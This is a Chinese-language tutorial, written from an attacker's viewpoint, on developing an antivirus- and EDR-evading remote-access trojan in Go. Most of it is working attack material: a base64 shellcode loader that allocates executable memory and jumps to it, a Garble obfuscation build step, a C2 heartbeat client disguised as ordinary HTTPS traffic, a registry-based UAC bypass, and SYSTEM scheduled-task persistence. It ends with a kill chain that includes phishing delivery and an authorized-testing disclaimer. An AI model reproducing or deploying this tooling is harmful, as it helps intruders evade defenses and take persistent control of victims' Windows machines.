一、从检测规则到绕过策略
在现代网络安全领域,远控木马始终是防守与攻击的角斗场。如今的防御系统,例如EDR(Endpoint Detection and Response)和传统AV(Antivirus),能够从文件特征、行为模式、流量异常等多维度进行检测,这让攻击者的工作变得愈发困难。然而,“规则的存在即是被绕过的理由”。从防守规则反推绕过策略,是红队常用的方法论。
在这篇文章中,我将从攻击者的视角详细讲解如何开发一款免杀的远控木马,覆盖从文件免杀到流量对抗的完整攻击链。用到的主要语言是Go和Shell,并将从原理到代码,为你展示每一个关键实现。
---
二、环境搭建与工具准备
在任何攻击任务中,模拟真实的防御环境是我们测试免杀效果的核心。以下是本次实验的环境搭建与工具清单。
技术环境
- 目标系统:Windows 10,开启Defender,安装主流EDR(如CrowdStrike或SentinelOne)
- 攻击者系统:Kali Linux或Parrot OS,带有Cobalt Strike、Sliver、和Go语言编译环境
- 网络环境:开启HTTPS流量分析功能的IDS(如Zeek)
工具清单
- Go语言开发工具链:用于编写远控木马
- Obfuscator:代码混淆工具(Golang的Garble库)
- Shell脚本:简化木马部署操作
- 虚拟化工具:如VMware或VirtualBox,用于模拟多个受害者环境
实验目的
- 构造免杀的远控程序,逃避文件特征检测。
- 绕过流量分析,实现隐蔽的C2通信。
- 验证木马的横向传播与持久化效果。
---
三、如何让Payload成为隐形武器
文件免杀是远控木马开发的第一步,而如何让生成的恶意文件逃过EDR/AV,是攻击者必须解决的问题。这一节,我们重点分析从文件层面的免杀技术。
分析EDR的文件检测机制
现代EDR一般从以下几个方面检测文件是否恶意:
- 静态特征扫描:匹配已知的恶意代码特征。
- 启发式检测:判断代码结构是否可疑,例如是否包含敏感API调用(如
CreateRemoteThread)。 - 行为沙盒:运行文件并观察其行为特征。
针对以上机制,我们可以逐一反制。
技术实现:动态加载与编解码
为了逃过静态特征扫描,可以采用动态加载技术,将恶意功能隐藏在代码中,运行时再解码加载。以下是具体实现代码:

<pre><code class="language-go">package main
import ( "fmt" "syscall" "unsafe" "encoding/base64" )
// 加密后的恶意Shellcode var shellcodeEnc = "BASE64_ENCODED_SHELLCODE"
// 基础解码函数 func decodeShellcode(encoded string) []byte { shellcode, _ := base64.StdEncoding.DecodeString(encoded) return shellcode }
// 动态加载Shellcode func loadShellcode(shellcode []byte) { kernel32 := syscall.NewLazyDLL("kernel32.dll") virtualAlloc := kernel32.NewProc("VirtualAlloc") addr, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)), 0x3000, 0x40)

copy((*[4096]byte)(unsafe.Pointer(addr))[:], shellcode)
syscall.Syscall(addr, 0, 0, 0, 0) }
func main() { // 解码并加载Shellcode shellcode := decodeShellcode(shellcodeEnc) loadShellcode(shellcode) fmt.Println("Payload executed successfully.") }</code></pre>
文件免杀策略
- 加密Payload:将Shellcode加密成Base64,避免被特征扫描引擎直接识别。
- 动态解码与加载:在程序运行时解码并加载到内存。
- 代码混淆:使用Garble工具彻底混淆代码结构。
执行以下命令对代码进行混淆: <pre><code class="language-bash">go install mvdan.cc/garble@latest garble build -o payload.exe main.go</code></pre>
此时生成的payload.exe已具备初步免杀能力。
---
四、流量伪装的艺术
即便文件免杀成功,木马运行后与C2服务器的通信仍有可能被IDS/IPS拦截。如何让木马的流量“隐身”,是我们接下来要解决的问题。
攻击场景分析
主流IDS如Zeek,可以检测以下异常流量:
- 明文HTTP通信中包含敏感内容(如
password=123)。 - HTTPS通信使用非标准域名或证书。
- 长时间的持续连接,异常的流量大小。
技术实现:HTTPS通信伪装
我们可以将C2流量伪装成普通的HTTPS流量,使用真实的证书,并模拟正常的用户行为(如定时发送心跳包)。

以下是伪装HTTPS通信的代码:
<pre><code class="language-go">package main
import ( "crypto/tls" "fmt" "net/http" "time" )
// C2服务器地址 const c2Server = "https://example.com/api"
// 定时发送心跳 func sendHeartbeat() { for { time.Sleep(10 * time.Second)
// 创建HTTPS客户端,使用真实证书 client := &http.Client{ Transport: &http.Transport{ TLSClientConfig: &tls.Config{ InsecureSkipVerify: false, // 验证证书 }, }, }
// 模拟正常的GET请求 resp, err := client.Get(c2Server) if err != nil { fmt.Println("Failed to send heartbeat:", err) continue } resp.Body.Close() fmt.Println("Heartbeat sent successfully.") } }
func main() { fmt.Println("Starting payload...") sendHeartbeat() }</code></pre>
流量伪装策略
- 使用真实证书:伪装为正常的HTTPS流量。
- 模拟用户行为:定时发送GET请求,避免长时间高频通信。
- 加密敏感数据:将恶意指令加密后通过流量传输。
---
五、权限提升与持久化的秘密
木马运行后,要进一步扩展攻击面,通常需要提升权限并实现持久化。这是防守者最头疼的部分,因为攻击者总会找到新的利用方式。
权限提升技术:UAC绕过
以下是一个简单的UAC绕过方法,通过注册表来实现。
<pre><code class="language-go">package main
import ( "fmt" "os/exec" )
func bypassUAC() { cmd := exec.Command("cmd.exe", "/C", "reg add HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command /ve /d \"cmd.exe\" /f") err := cmd.Run() if err != nil { fmt.Println("Failed to bypass UAC:", err) return } fmt.Println("UAC bypassed successfully.") }
func main() { bypassUAC() }</code></pre>
持久化技术:计划任务
创建计划任务,将木马设置为开机启动。
<pre><code class="language-bash">schtasks /create /tn "UpdateTask" /tr "C:\\path\\to\\payload.exe" /sc onlogon /ru SYSTEM</code></pre>
---
六、检测与对抗:谁能藏得更深?
攻击是为了对抗防御,而防御又是为了更强的攻击。对抗是红队的宿命。在开发免杀木马的过程中,我总结了以下几点经验。
技术经验分享
- 文件免杀:加密、混淆、动态加载是逃避检测的关键。
- 流量伪装:HTTPS伪装、真实证书可以极大降低被IDS拦截的风险。
- 持久化策略:计划任务和注册表是最稳定的方法,但也容易被发现,需要定期更新策略。
攻击链完整总结
- 初始投递:通过钓鱼邮件或水坑攻击将木马植入目标设备。
- 文件免杀:逃避EDR的静态检测。
- 流量对抗:让C2通信隐身于正常流量中。
- 权限提升:获得管理员权限,进一步扩展攻击面。
- 持久化:实现长期控制,随时发起后续攻击。
---
七、合法声明与思索
本文所有内容仅用于授权安全测试与学习研究,切勿用于非法用途。作为红队,我们的职责不是破坏,而是帮助防守者更好地理解攻击者的思维,最终提升网络安全生态。
攻击与防守,是永无止境的博弈。而红队,正是这场博弈中的最强玩家。